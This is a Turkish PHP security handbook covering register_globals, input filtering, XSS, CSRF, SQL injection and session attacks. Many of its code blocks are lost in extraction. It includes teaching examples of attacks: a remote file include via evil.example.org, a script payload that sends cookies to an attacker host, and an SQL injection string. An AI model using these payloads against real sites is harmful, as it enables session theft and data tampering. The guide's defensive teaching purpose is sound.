PHP Güvenliği El Kitabı

Embed Size (px)

Citation preview

  • 8/8/2019 PHP Gvenlii El Kitab

    1/21

    PHP Gvenlii El Kitab~ Ceviz.net

    Uygulamay tasarlayanlar ve programclarn gvenlik konusunda bilgi sahibi olmalar gereklidir.Basl olarak yada internette bir ok kaynak bulunmaktadr. Aadaki adreste baz kaynaklarn

    listesine ulaabilirsiniz. http://phpsec.org/library/.

    DIARDAN ALINAN BTN VERLER KONTROL EDN.

    Veri kontrol Web uygulama gvenliinin temel tadr. Tanmlanan deikenlerinize balangdeerleri verilir ve dardan alnan btn veriler kontrol edilirse gvenlie giden yolda ok mesafekatetmi olunur. Beyaz Liste Yntemi (White List Approach) ve karaliste ynteminden (Black ListApproach) daha iyidir. Beyaz Liste Yntemi dardan gelen btn verilere aksi ispatlanmadsrece zararl veri muamelesi yapmak ve kontrol etmektir. Kara Liste Yntemi ise tam tersidir yaniaksi ispat edilmedike dardan gelen btn veriler zararsz kabul edilir.

    Register Globalsregister_globals belirteci (directive) PHP 4.2.0 ve st srmlerde n tanml olarak kapal halde(deeri OFF) gelir. Bu belirtecin ak (deeri ON)olmas dorudan gvenlik a oluturmasa daciddi bir tehlike oluturduundan deerine dikkat edilmesi gereklidir. Uygulamalar bu belirtecinkapal olmas durumuna gre gelitirilmelidir.

    Bu belirtecin ak olmas neden risklidir?. Bu konuda her seviyeye uygun rnekler bulmak zordur.PHP resmi sitesinde bu konu ile ilgili gzel bir rnek vardr.

    if(yetkili_kulanici())

    { $authorized=true;}

    if($authorized){ include /cok/onemli/bilgi.php;}

    register_globalsn ak olmas durumunda bu sayfa adres satrna ?authorized=1 eklenerekarldnda ok nemli bilgiye ulalm olur. Bu tamamen programlama hatasdr,

    register_globalsbelirtecinin oluturabilecei tehlikeyi gstermek iin basit bir rnektir.register_globals kapal olduunda programc tarafndan oluturulan deikenler dardan mdaheleile (?authorized=1 gibi) deitirilemez. Ak omas durumunda ise deikenler tanmlanrken bir ilkdeer verilmelidir.

    register_globalsn karabilecei bir dier tehlikeli duruma include fonksiyonunun kullanmrnektir:

    PHP Kodu:

    include"$path/script.php";

    register_globals ak olduunda bu sayfay adres satrna ?path=http%3A%2F%2Fevil.example.org%2F%3F eklenerek arldnda aadaki gibi bir sonu kar.

  • 8/8/2019 PHP Gvenlii El Kitab

    2/21

    PHP Kodu:

    includehttp://evil.example.org/?/script.php;

    Eerallow_url_fopen ak ise (kiphp.ini de ntanml olarak aktr), bu kodhttp://evil.example.org/'dekiscript.php dosyasn sanki ayn makinada bulunan bir dosya gibialtrr. Bu birok ak kaynakl uygulamalarda ortaya km ciddi bir tehlikedir.

    Tanmlandnda $path deikenine bir ilk deer verilerek bu engellenebilir. register_globalskapatarak ta bu engellenebilir. register_globalsn kapal olmas bu ve bunun gibi programchatalarndan kaynaklanan aklarn kapatlmasn salar.

    Formdan gelen ve dardan gelen verilerin ilenecei durumlarda programclarn bu durumu(register_globals) dikkate almalar gerekir. $_POSTve $_GETdizilerinin kullanlmas bir nlemdir.Fakat tehlikeyi tamamen engellemez. Yukarda da belirtiimiz gibi deikenlere balan deeriverilmesi ok nemlidir. Bu blmde anlatlanlarregister_globalsn bir gvenlik a olduunu

    gstermez ama kapal olmasnn bir baz tehlikeleri nledii kabul edilen bir gerektir. Ayrcadeerin kapal olmas programclarn kullandklar deikenlerin kaynaklarn bilmeleri vednmeleri (ki bu iyi programcnn zelliklerindendir), konusunda zorlad iin de faydaldr.

    Veri KontrolVeri kontrol Web uygulama gvenliinin temel tadr ve programlama dilinden ve gelitirmeortamndan bamszdr. Uygulamaya giren ve uygulamadan kan verilerin geerliliinin kontrolanlamna gelir. yi bir yazlm projesi tasarm programclar aadaki ilemleri yapmaya tefikeder :

    Kontrolsz veri girii olmamaldr,

    Geersiz (kural d, hatal, yasak) veri kontrol gememelidir, ve

    Btn verilerin kaynklar mutlaka bilinmelidir.

    Veri kontrol ile ilgili birok yntem vardr. Bu yntemler arasnda iki tanesi ok kullanlmaktadrve bu ynetemler yeterli seviyede gvenlik salarlar.

    Ynlendirme Yntemi (The Dispatch Method)Bu yntemde, Web yoluyla eriilebilen bir tane PHP betii vardr. Dier btn PHP betikleri bu

    betik tarafndan gerektiinde include veya require fonksiyonlar ile arlr. Bu yntemde hangibetiin arlaca GETdeikeni ile belirtilir. Bu deiken basite arlacak betiin ismi olabilir.

    rnein :http://example.org/dispatch.php?task=print_form

    dispatch.php dosyas Web araclyla ulalabilecek tek dosyadr. Bu yntem programcya ikinemli fayda salar :

    dispatch.php de baz temel gvenlik kontrollerini yaparak btn uygulamada geerli olmasnsalanr.

    Betie zel veri kontrol gerektinde ilgili betikte yaplabilir..

    Daha fazla aklama iin dispatch.php :

  • 8/8/2019 PHP Gvenlii El Kitab

    3/21

    PHP Kodu:

    /* Genel gvenlik kontrolleri */

    switch($_GET[task])

    { case print_form: include /inc/presentation/form.inc; break;

    case process_form: $form_valid=false; include /inc/logic/process.inc; if($form_valid) { include /inc/presentation/end.inc; } else { include /inc/presentation/form.inc; } break;

    default: include /inc/presentation/index.inc; break;

    }

    dispatch.phpin Web'den dorudan ulalabilen tek betik olduu iin ve dier betikleri ard iingenel kontrolleri dispatch.phpte yaplmasnn doru olaca yukarda belirtilmitir. Ayrca

    programcya belli ilemle ilgili zel kontrolleri ilgili betikte yaplaca da eklenmitir. rnekteend.inc ancak$form_validdeikenin deerinin true olmas durumunda altrlr. $form_validdeikenine balangtaprocess.inc arlmadan ncefalse deeri verilir.process.inc altndaform doldurulmusa ve gerekli artlar salanyorsa (yani formun geerlilii onaylanyorsa)$form_validdeeri true yaplr ve end.inc dosyas arlr. Eer form doldurulmamsa yada

    bilgilerde bir yanllk veya eksiklik varsaprocess.inc,$form_validdeerine dokunmaz veform.inc

    arlr.

    Not : Eer Web'den dorudan ulalacak dosyaya dispatch.php yerine index.php ad verilirsebetikleri armak iin URLyi kullanlabilir. http://example.org/?task=print_form gibi.

    Apache,ForceTypebelirteciyle yaplandrarak URLleri http://example.org/app/print-form gibialglamas salanabilir.

    arma Yntemi (The Include Method)Bu yntemde genel gvenlik kontrollerinden sorumlu bir betik vardr ve dier btn betiklerin

    banda bu betik arlr. Bu betie uygun bir rneksecurity.inc :

  • 8/8/2019 PHP Gvenlii El Kitab

    4/21

  • 8/8/2019 PHP Gvenlii El Kitab

    5/21

    if(preg_match($email_pattern,$_POST[email])){ $clean[email]=$_POST[email];}

    $_POST[color] deikenin deerinin red, green, yada blue olduunun kontrol:

    PHP Kodu:

    $clean=array();

    switch($_POST[color]){ case red: case green:

    case blue: $clean[color]=$_POST[color]; break;}

    $_POST[num] deerinin say olup olmadnn kontrol:

    PHP Kodu:

    $clean=array();

    if($_POST[num]==strval(intval($_POST[num]))){ $clean[num]=$_POST[num];}

    $_POST[num] deerinin ondalkl say (float) olup olmad:

    PHP Kodu:

    $clean=array();

    if($_POST[num]==strval(floatval($_POST[num]))){ $clean[num]=$_POST[num];}

    simlendirmeYukardaki rnekler de $clean dizisi kullanlmtr. Bu veri kontrol iin aklayc bir rnektir.$_POSTve $_GETdizilerindeki verileri kontrol edilip eer uygunsa $clean dizisine atlr.$_POSTve $_GETdizileri her zaman pheli olarak kabul edilmelidir.

    $clean dizisini kullandldnda beyaz liste yntemine gre bu diziye girmeyen btn verilerphelidir. Bu yaklam programn gvenlik seviyesini artrr.

  • 8/8/2019 PHP Gvenlii El Kitab

    6/21

    Kontrolden geen btn veriler$clean dizisine atld iin karlaabilecek en kt durum brnverilerin zararl olmas durumundaki bo $clean dizisidir.

    ZamanlamaBir PHP betii almaya balatldnda HTTP iletiimi bitmi demektir. Yani stemci tarafndan

    artk hibir veri gnderilemez (register_globals ak olsa bile). Bu yzden tanmlanan bitindeikenlere balang deeri verilmesi ok nemlidir.

    Hata RaporlamaPHP5den nceki srmlerde hata raporlama ilemini baz belirteleri ayarlanarak kolaycayaplabilir. Bu srmlerde hata raporlama programlamadan ok PHP yorumlaycs tarafndanyaplr. Bunun iin kullanlacak belirteler :

    error_reporting: Bu belirte hata raporlama seviyesinin belirlenmesini salar. DeerininE_ALLolmas tavsiye edilir.

    display_errors: Bu belirte hatalarn ekrana yazlp yazlmayacan belirtilmesine yarar. Gelitirmeaamasnda deeri On olursa hatalar anlalr. Uygulama kullanlmaya balandnda deerinin Offyaplmas daha uygundur. Bylece hatalar kullanclardan ve hatalarn faydal olaca art niyetlikiilerden gizlenmi olur.

    log_errors: Bu belirte hatalarn belirli bir log dosyasna yazlp yazlmayacann belirtilmesinisalar. Deerinin On olmas durumunda almada yavalamaya sebeb olabilir. Gelitirmeaamasnda kullanlmas tavsiye edilir.

    error_log: Hata raporlarnn yazlaca dosyann tam yoludur. Burada dosyay belirtirken dosyayaWeb sunucusunun yazma yetkisi olup olmadna dikkat edilmelidir.

    error_reportingbelirtecinin deerininE_ALL olmas programc tarafndan kullanlan deikenlerebalang deeri verilmesini zorlayacak ve balang deeri verilmemi bir deiken kullanldndauyar verecektir.

    Not : Bu belirtelerin deeri ini_set() fonksiyonu kullanlarak deitirilebilir. Bu fonksiyonuphp.ini dosyasnda deiiklik yaplamad durumlarda kullanlabilir.

    Daha ayrntl bilgi iin :http://www.php.net/manual/en/ref.errorfunc.php

    PHP5 ile birlikte PHPye stisna leme (Exception Handling) zellii eklenmitir.http://www.php.net/manual/language.exceptions.php

    Form lemeSahte (Yalanc) Form KaytlarVeri kontrolnn nemini anlamak iin aadaki aadaki rnei inceleyelim. (adreslerin hepsitemsilidir). http://example.org/form.html:

    PHP Kodu:

    red

  • 8/8/2019 PHP Gvenlii El Kitab

    7/21

    greenblue

    Kt niyetli bir kiinin bu formu aadaki gibi deitirebilir.

    PHP Kodu:

    Bu durumda form herhangi baka bir sunucuda veya herhangi bir bilgisayarda (bir taraycdangrntlenebilir olmas yeterli) bulundurulabilir. URL kullanld iin ayn dosyayaPOSTyntemi

    ile gnderilebilir.

    Bu ekilde formlarda tarayc tarafnda yaplan veri kontrolleri kolayca atlatlabilir. Yukardakirnekte normal haldeki formda $_POST[color] deikenin deeri red,green, veya blue olmasgerekirken, yaplan deiiklikle herhangi bir deer olabilir.

    Sahte HTTP stekleri (HTTP Requests)Daha gl ama az kullanlan bir veri kandrmacas da HTTP stekleri ile yaplr. Yukardakirnekte HTTP istei u ekilde grnr :

    POST /process.php HTTP/1.1Host: example.orgContent-Type: application/x-www-form-urlencodedContent-Length: 9

    color=red

    telnet bu konuda deneme yapmak iin kullanlabilir. http://www.php.net/ adresinne birGETisteiu ekilde yaplabilir :

    $ telnet www.php.net 80

    Trying 64.246.30.37...Connected to rs1.php.net.Escape character is ^].GET / HTTP/1.1Host: www.php.net

    HTTP/1.1 200 OKDate: Wed, 21 May 2004 12:34:56 GMTServer: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-devX-Powered-By: PHP/4.3.3-devLast-Modified: Wed, 21 May 2004 12:34:56 GMTContent-language: enSet-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/;domain=.php.net

  • 8/8/2019 PHP Gvenlii El Kitab

    8/21

    Connection: closeTransfer-Encoding: chunkedContent-Type: text/html;charset=ISO-8859-1

    2083

    ...

    Ayn istei PHP ile de yapabilirsiniz:

    PHP Kodu:

    HTTP isteinin bu ekilde gnderilmesi ve kontrol edilmesi programcya esneklik salar.

    apraz Kod altrma (Cross-Site Scripting)Web uygulamalar gvenlii konusunda en yaygn olarak kullanlan ve bilinen gvenlik terimiapraz kod altrmadr (Cross-Site Scripting) ve bu nn hakedecek deerdedir. PHP ile yazlm

    birok ak kaynak kodlu projeleri zaman zaman XSS (Yazda apraz Kod altrma yerineksaca kullanlacaktr) aklarndan kaynaklanan saldrlar yznden sknt yaamtr.

    XSSin temel zellikleri :

    Bir kullancnn sahip olduu gveni ktye kullanma.

    Web sayfalarna kullanclar genelde phe ile yaklarlar ama. tarayclar byle deildir.Sunucu erez gnderir ve tarayc bunu kabul eder. Ayrca kullanclarn siteye gre yadakullandklar taraycya gre farkl tarama alkanlklar vardr.

    Genelde Web sayfalar dardan veri alr ve bunlar ileyir ve gsterirler.

    XSS tehlikesi daha dardan veri alan formalar, Web tabanl e-posta uygulamalar dar ileveri al verii zerine alan btn betiklerde (RSS beslemeleri gibi) kendini gsterir.

    Saldrgan veriyi deitirerek sayfada istedii herhangi bireyi gsterebilir.

    Dardan gelen veriler kontrol edilmemesi saldrgann istedii ieriin sisteme girmesinesebep olur. Bu durum saldrgann kaynak koduna erimesi kadar tehlikelidir.

  • 8/8/2019 PHP Gvenlii El Kitab

    9/21

    Dardan gelen veri demek sadece kullanc tarafnda dolduran formlarla gelen veri demek deildir.Web posta uygulamasnda dardan gelen bir elektrnik posta, dardan alnp sayfada gsterilen birreklam veya baka uygulamalarn (Web tabanl olmayp ada alan bloglar gibi) kaytlar dadardan gelen veri kapsamndadr.

    rnek olarak basit bir mesaj tahtas formunu inceleyelim :

    PHP Kodu:

    Burada formdan gelen mesaj metninin sonunaekleyerek dosyann sonuna ekler.

    Artniyetli bir kullancnn aadaki metni mesaj olarak yazp gnderdiini dnelim.

    PHP Kodu:

    document.location ='http://evil.example.org/steal_cookies.php?cookies=' + document.cookie

    Mesaj tahtas ziyaret edildiinde JavaScript kullancy evil.example.org adresine ynlendirir vemesaj tahtas uygulamas tarafndan atlan erez bilgileri adres satrndan evil.example.org adresinegnderilir

    Tabiki gerek bir saldrgann yapaca saldr daha yaratc ve zararl olacaktr. Yukarda verilenrnek ok basit ve zararszdr.

    XSS saldrlarn engellemek aslnda ok kolaydr.Bu konuda veri kontrol HTML yada JavaScriptile tarayc tarafnda yapldnda kontrol d veri girilmesini engellemek olduka zordur. XSSnlemek iin :

    DIARDAN GELEN BTN VERLER KONTROL EDN.

    Bu belgenin genelinde sylendii gibi gvenliin temeli veri kontroldr.

    PHPnin salad fonsiyonlar mutlaka kullann.

    PHPnin salad fonksiyonlar (htmlentities(),strip_tags(), veya utf8_decode() ) bu konuda

  • 8/8/2019 PHP Gvenlii El Kitab

    10/21

    gvenle kullanlabilirler. Bu fonksiyonlar hzl olmalarnn yannda oka denendikleri iin hatalolma olaslklar ok dktr.

    Beyaz Liste Ynetmini Kullann.

    Dardan gelen btn veriye tehlikeli gzyle baklp kontrol edilmelidir. rnein, kullanc

    bilgileri ile ilgili bir formda soyadnn alndn dnelim. Soyadnn sadece harflerden olutuuiin bu ekilde bir kontrol yaplmaldr. Bu durumda OReilly ve Berners-Lee gibi soyadlarkontrolden geemeyecektir. Birka ekleme ile bu durum halledilebir tabiki. Bu durum gz ardedilse bile doru bilginin reddedilmesi ou zaman yanl bilginin sisteme kabul edilmesinden dahaaz zararldr.

    Deiken isimlendirme kurallara balanmaldr.

    Deiken isimleri veri kontrolnde ok yardmc olabilir. zellikle kontrol edilen ve edilmeyenverinin bir birinden ayrlmasnda ve kontrol ilemleri konusunda yardmcdr. Ayrca programnsonradan deitirilebilmesinde de gelitiricilere faydaldr. simlendirmenin eksik veya yanl

    yaplmas ilerleyen zamanlarda gvenlik aklarna sebep olabilir.

    Yukardaki nerilere gre daha gvenli bir mesaj tahtas uygulamas yle olabilir :

    PHP Kodu:

    htmlentities() fonksiyonunun eklenmesi mesaj tahtasnn daha gvenli hale getirmitir ama uygulatamamen gvenli deildir. Yukardaki nerileri dikkate alarak eklemeler yaplabilir.

    Sunucu Tarafl apraz Kod altrma (Cross-Site Request Forgeries)simdeki benzerliine ramen Sunucu Tarafl apraz Kod altrma (CSRF) XSS ile tamamen zt

    bir mantkla alr. XSSe gre daha az bilinir ama daha tehlikelidir. CSRF kullancnn sunucuyaolan gvenini ktye kullanma mant ile alr.

    CSRFnin zellikleri:

    BirWeb sayfasnn kullancdaki gvenini ktye kullanr.

    Birok kullancnn gvenilir saylacak zelliklere sahip olmamasna ramen Web sayfalarkullanclar baz zel haklar sunarlar. zel haklara sahip kullanclar muhtemel kurbanlardr.

  • 8/8/2019 PHP Gvenlii El Kitab

    11/21

    Genelde kullanclarnn kimliklerine gvenen Web sayfalarnda CSRF tehlikesi fazladr.Gvenilir saylan kullanc kimliklerinin sistemde daha ok yetki tamas ok doaldr. Bununyznden ok gvenli oturum ynetimi olsa bile CSRF saldrs baarl olabilir. CSRF saldrsnnen ok zarar verecei ortamlar kullanclarna en ok gvenen ortamlardr.

    Saldrgan kullancya istedii HTTP isteini yaptrr.

    CSRF nin temem mant kullancnn haberi olmadan baka bir HTTP isteinde bulunmasnsalamaktr.

    CSRF dorudan HTTP istekleri ile ilgili olduu iin bu konuyu tam anlamak iin HTTP isteihakknda temel bilgiye sahip olmak gerekir.

    Tarayc HTTP istemcisidir ve Web sunucusu da HTTP sunucusudur. stemciler ilemi istek (HTTPRequest) gndererek balatr sunucular da buna (Response) cevap verir. HTTP isteine basit birrnek :

    GET / HTTP/1.1Host: example.orgUser-Agent: Mozilla/5.0 GeckoAccept: text/xml, image/png, image/jpeg, image/gif, */*

    lk satra istek satr denir ve istek yntemini,istein yapld URLyi ve HTTP srmn bildirir.Dier satrlar ise HTTP balklardr. Her satrda deiken ismi, noktal virgl ve deikenin deeri

    bulunur.

    Yukardaki istei aadaki gibi PHPyle de oluturabiliriz :

    PHP Kodu:

    Bu istee sunucu tarafndan gnderilen cevap ise yledir :

    HTTP/1.1 200 OKContent-Type: text/htmlContent-Length: 57

    Cevabn ierii taraycda grdmz koddur (HTML, XML ...). rnekteki img taraycya yeni

  • 8/8/2019 PHP Gvenlii El Kitab

    12/21

    bir istekte bulunmasn syler. Tarayc bu resim iin de istekle bulunur. Bu istek u ekilde yaplr:

    GET /image.png HTTP/1.1Host: example.orgUser-Agent: Mozilla/5.0 GeckoAccept: text/xml, image/png, image/jpeg, image/gif, */*

    Tarayc src te yazl olan adrese kullanc tarafndan ynlendirilmi gibi gider. Tarayc bunun birresim istei olduunu ayrt edemez.Formlar gz nnde bulundurarak aadaki rnek incelendiinde:

    http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000

    GET yntemini kullanan bir formun istei ile normal bir resmin istei tarayc tarafndan ayrtedilemez ve her ikisi de ayn adrese gnderilebilir. Eerregister_globals ak ise fromun gnderiliyntemi de nemli deildir.

    URL tarafndan gnderilen erezin URLye gnderilen her istee eklenmesi CSRFnin etkisiniartrr. Kullanc bir sayfada gezinti yaparken img ile belirtilmi bir URLde farknda olmadan birilem yapabilir.rnek olarak http://stocks.example.org/form.html adresindeki form :

    PHP Kodu:

    Buy Stocks Instantly!Symbol:Quantity:

    Form symbol alanna SCOX ve quantity alanna 1000 girilip gnderildiinde tarayc aadakigibi bir istek gnderir :

    GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1Host: stocks.example.orgUser-Agent: Mozilla/5.0 GeckoAccept: text/xml, image/png, image/jpeg, image/gif, */*Cookie: PHPSESSID=1234

    Eer herhangi bir imgnin src deerine yukaridaki istekteki URLyi yazarsak ayn istek sunucuyagnderilecektir. Sunucu bunun bir form mu yoksa bir resim istei mi olduunu farketmeyecektir.CSRF ye kar yaplabilecekler :

    Kritik bir ilem formlarda GET yerine POST kullanlmaldr.

    $_POSTdizisi kullanlmaldr. register_globals ak olmas durumunda formlar POST ilegndermek CESRF iin bir engel olmayacaktr.

    Yzde yz kolaylk salamaya almayn.Kullanclarn yazlan uygulamay kolayca kullanabilmesi tabiki nemlidir. Baz durumlardakolayl salamak iin yaplanlar kt sonular dourabilir. Kolaylk gvenlik dengesininherzaman aklda tutulmas gereklidir.

  • 8/8/2019 PHP Gvenlii El Kitab

    13/21

    Kendi formlarnzn kullanmlmasn salayn.CSRF ile ilgili en byk problem gelen baka yollardan gelen isteklerin normal bir fomdangeliyormu gibi algnabilmesidir. Bir istein formdan gelip gelmediini anlamak iin uygulamayazel zmler retilmelidir.Yukardaki yazlanlar gz nnde bulundurularak daha gvenli bir mesaj tahtas yle olabilir :

    PHP Kodu:

  • 8/8/2019 PHP Gvenlii El Kitab

    14/21

  • 8/8/2019 PHP Gvenlii El Kitab

    15/21

    tarafndan ilenmesine izin vermek () doru bir yol deildir. Bu tr kodlarn dardan arlarakaltrlabilmesi her zaman tehlikelidir. Eer bu dosyalarda sadece deikenlere deer atanyorsayukarda sylenenlerin tehlikesi daha azdr.Bu konu da yazarn tavisye ettii yntem ise PHPCookbook (OReilly) by David Sklar and Adam Trachtenberg adl kitapta anlatlan yntemdir.Dardan ulalamayan ve sadece root tarafndan okunabilen gizli bir dosyada /path/to/secret-stuffveritaban bilgileri tutulur :SetEnv DB_USER "myuser"

    SetEnv DB_PASS "mypass"httpd.conf dosyasnda aadaki ayar yaparak bu dosya arlr :Include "/path/to/secret-stuff"imdi PHP betiklerinde $_SERVER[DB_USER] ve $_SERVER[DB_PASS] kullanlarakkullanc ad ve ifresine ulalabilir. Web sunucusu dosyay okuyamdndan PHP veya dierdillerle bu dosyaya ulalamaz. Bu yntemde dikkat edilmesi gereken husus ise bu deikenlerinvarlnn phpinfo() veya print_r($_SERVER) ile darya gsterilmemesidir.SQL Deitirme (SQLInjection)SQL deitirme savunmas ok kolay bir tehlikedir. Fakat birok uygulama hala risktamaktadr. Aadaki rnekte basit bir SQL sorgusu vardr.

    PHP Kodu:

    $_POSTkullanlyor. Bu sorgunun basite bir kullanc hesab ama ilemi olduunu dnelim.Kayt ileminde geici bir ifre oluturulup kullancya mail atldn dnelim. Artniyetli birkullanc kullanc ad yerine aadaki metni girdiinde:

    bad_guy, mypass, ), (good_guy

    Bu herhangi bir veri kontrolnden geirilmediinde direk olarak SQL sorgusunda aadaki gibi birdeiiklik oluturur :

    PHP Kodu:

    Bu durumda sorgu bir hesap oluturmas gerekirken iki hesap oluturacak.Bu rnek ok zararl

    grlmeyebilir. Artniyetli kii SQL deitirmeyi baard zaman yapabilecei SQL dilininyapabilecekleri ile snrldr.Baz veritabanlarnda ayn anda birden fazla SQL cmlesignderilebilir. Byle durumlarda saldrgan gerek sorguyu sonlandrp istedii sorguyualtrabilir.MySQL ntanml olarak birden ok sorgu cmleciinin ayn anda ilenmesine izinvermemektedir. Yeni srmlerde birden fazla sorgu PHP eklentisi (ext/mysqli) mysqli_query()yerine mysqli_multi_query() kullanlarak gnderilebilir. Tek sorgu ile allmas ve oklu sorguielemeye izin verilmemesi tehlikeyi azaltr.SQL deitirmeyi engellemek iin dardan alnan

    btn verileri kontrol edin.Bu cmle tekrar edildii kadar nemlidir. Sk bir kontrol biroktehlikeyi balamadan engeller."" kullann.Eer veritaban izin veriyorsa (MySQL verir) SQLiindeki btn deerleri "" iine aln.akmay kontrol edin.Bazen normal metinlerde SQL

    benzeri metin paralar olabilir. Bu tr durumlarda veritabannn bunu ayrt etmesi iin

    mysql_escape_string() yada veritabannn salad fonksiyonlar kullanlmaldr. Eer veritabanbyle bir fonksiyon salamyorsa addslashes() son are olarak kullanlabilir.OturumYnetimiOturum TespitiOturumlar ska saldrlara hedef olurlar. Oturum saldrlarnn temel

  • 8/8/2019 PHP Gvenlii El Kitab

    16/21

    mantk bir kullancnn yetkilerini onu taklit ederek almaktr.Bir saldrgan iin ilk etapta ennemli bilgi oturum anahtardr. Oturum anahtarn elde etmek iin kullanlan temel yol vardr:TahminYakalanaTespitTahmin ynteminde adnda belirtildii gibi anahtarn tahmini esasnadayanmaktadr. PHPnin temel oturum fonksiyonlar kullanldnda retilen oturum anahtarlartamamen rastgele retildii iin tahmin edilmesi ok gtr.Elegeirme ynteminde ise oturumanahtar elde edilmeye allr. Genellikle oturum anahtarlar erezlerle yada GET deikeni olarak

    tand iin anahtar elde etmek iin erezler ve GET kontrol edilir. erezler tarayc tarafndan dakorunduu iin GET yntemine gre daha gvenlidirler (Tarayclarn zaman zaman bu konudazayflklar ortaya kmtr). Oturum anahtarn tamak iin erezlerin kullanlmas tavsiyeedilir.Tespit yntemi oturum anahtarn elde etmek iin kulanlan en basit yntemdir. Eer oturumynetimi srasnda sadecesession_start() kullanlyorsa bu durum tehlike oluturur.Tespit ynteminiaklama iin rnek bir betik session.php ile balayalm:

    PHP Kodu:

    Sayfa ilk ziyaret edildiinde sayfada 1 grntlenir. Sayfa her ziyaret edildiinde bu deer birartar.Bu betii erezleri silerek (ilk defa ziyaret ediyor olmak iin) URLye ?PHPSESSID=1234ekleyerek aralraka oturum alr. Daha sonra tamamen farkl bir tarayc ile (farkl bir bilgisayarda olabilir) ayn ekilde arldnda oturumun devam ettii grlr.Hemen akla Bu durumda nesaknca var? sorusu gelebilir. Kullanc sayfaya retilmi bir oturum anahtaryla gnderilir. Anahtarkod tarafndan oturuma kaydedilir (Yukaridaki rnek iin geerli). Saldrgan tarafndan retilenanahtar artk geerli bir anahtardr ve bu anahtar kullanlarak kullancnn btn yetkilerine sahipolunabilir. Saldrgan bu oturum anahtarn istedii ekilde kullanabilir.Bu tr bir saldryengellemek olduka basittir. Eer bir oturum anahtarna sahip aktif bir oturum yoksa yeni biroturum anahtar oluturulup oturum aktif edilerek devam edilir. Aadaki kod basite bu iiyapmaktadr :

    PHP Kodu:

    Bu basit zm bir saldrgan herhangi bir oturum anahtar iin oturumu aktif ederek ve bu anahtarkullanarak saldrsn gerekletirebilir.Bu tr saldrlardan korunmak iin bu saldrlarn ancak

  • 8/8/2019 PHP Gvenlii El Kitab

    17/21

    kullancnn belli seviyede yetkiye sahip olduunda saldrgan iin faydal olaca dnlmelidir.Dolaysyla kullancn yetkisinin deitii (sisteme giri yaplmas gibi) her aamada oturumanahtar yeniden oluturulup deitirilmelidir.Oturum almaOturum alma baka bir kullancnnoturumuna sahip olma anlamna gelir.Oturum almann ilk aamas yukardaki yntemleri veya

    baka yntemleri kullanarak oturum anahtarn ele geirmektir.Bu blm oturum anahtarnnelegeirilmesi durumunda tehlikenin daha aza indirilmesi iin yaplabilecekler hakkndadr. Oturum

    anahtar elegeirildikten sonra neler yaplabilir?Basit bir oturum ynetiminde oturumu ele geirmek iin, tek gerekli olan ey oturum anahtardr.Oturum hakknda daha fazla bilgi edinmek iin HTTP isteklerine de baklabilir.

    Not : TCP/IP seviyesindeki bilgiler (rnein IP adresi) ok gvenilir deildir ve st seviyedekiilemler hakknda bilgi vermezler. rnein kullancn IP adresi ilem srasnda deiebilir.Recall atypical HTTP request:

    GET / HTTP/1.1Host: example.orgUser-Agent: Mozilla/5.0 GeckoAccept: text/xml, image/png, image/jpeg, image/gif, */*Cookie: PHPSESSID=1234

    Sadece Host bal HTTP/1.1 iin gereklidir. Oturum almay engellemek iin tutarllk nemlidir.Yani kullancn ayn kii olduundan emin olmak gereklidir.Yukardaki istein farkl bir User-Agent

    balna sahip olduu dnlrse aadaki bir istek geldiinde :

    GET / HTTP/1.1Host: example.orgUser-Agent: Mozilla Compatible (MSIE)Accept: text/xml, image/png, image/jpeg, image/gif, */*

    Cookie: PHPSESSID=1234

    Ayn erez gnderilmesine ramen bu istei yapann ayn kullanc olup olmad nemlidir. User-Agent balklarnn deerindeki farkllk kullancnn tarayc deitirdiini gsterir. Bu mantkldeildir nk kullanc sayfada gezinirken taraycy ayn oturumda deitiremez. Oturumynetimine yeni bir kontrol eklemek salamlatrr.

    PHP Kodu:

  • 8/8/2019 PHP Gvenlii El Kitab

    18/21

    imdi saldrgan User-Agent balnn deerini de doru olarak gndermek zorundadr. Bu tabikisaldrgann iini biraz daha zorlatrr.Bu durumu daha da gelitirmemiz gereklidir. nk saldrganilk nce kendi sitesini ziyaret ettirerek doru User-Agent deerini bulabilir.User-Agent deerininMD5 ile ifrelenmi halini kullanmak ii zorlatrsa da tecrbeli bir saldrgan tarafndan tahminedilebilir. Saldrgann tahminini zorlatrmak iin bu ifrelenmi deere rastgele bir deer ekleyerekzorlatrabiliriz :

    PHP Kodu:

    Oturum kontrol srasnda herhangi bir hata tespit edildiinde kullancya sulu muamelesiyaplmamaldr ve sadece ifre sormak ou zaman yeterlidir. Bu hem daha yumuak bir zmdrhem de kullanclarn gvenlik nlemlerini grmelerini salar.Bu konuda birok koruma yntemivardr. En azndan direk olaraksession_start() kullanmadan nce oturum kontrollerinin yaplmas

    belli aamada gvenlik salar. Her zaman aklda tutulmas gereken ise art niyetli kullanclarengellemeye alorken normal kullanclarn iini zorlatrmamaktr Not : Baz gvenlik uzmanlarUser-Agent balnn yzde yz tutarl olmadn belirtmileridir. Bunun sebebi ise HTTP vekilsunucusu kullanlan sistemlerde User-Agentdeerinin kolayca deitirilebilecei biliniyor. Yazarkiisel olarak byle bir durumla karlamadn fakat gz nnde bulundurulmas gerektiini

    belirtiyor.Acceptbal Internet Explorer taraycsnda sayfa yenilendiinde deitii iin bubalk kontroller srasnda kullanlmamaldr. Paylalan barndrclar (Birden Fazla Web sayfas

    Barndran Sunucular (Shared Hosts)) Ak Oturum BilgileriWeb sayfas birden fazla sayfannbulunduu bir sunucuda bulunduruluyorsa tek bana bir tek sunucuda (dedicated server) bulunmasdurumundan daha fazla riske sahiptir.Paylalan sunucularn en byk riski oturum bilgilerinin ortak

    bir yerde saklanmasdr. n tanml olarak PHP oturum bilgilerini /tmp altnda doslayarda tutuyor.n tanml deerlerin her zaman saldrganlarn iin ilk baktklar yer olduuna dikkat edilmelidir.Oturum dosyalarna sadece Web sunucusu ulaabilir :

    $ ls/tmptotal 12-rw------- 1 nobOdy nobOdy 123 May 21 12:34 sess_dc8417803c0f12c5b2e39477dc371462-rw------- 1 nobOdy nobOdy 123 May 21 12:34 sess_46c83b9ae5e506b8ceb6c37dc9a3f66e

    -rw------- 1 nobOdy nobOdy 123 May 21 12:34 sess_9c57839c6c7a6ebd1cb45f7569d1ccfc$

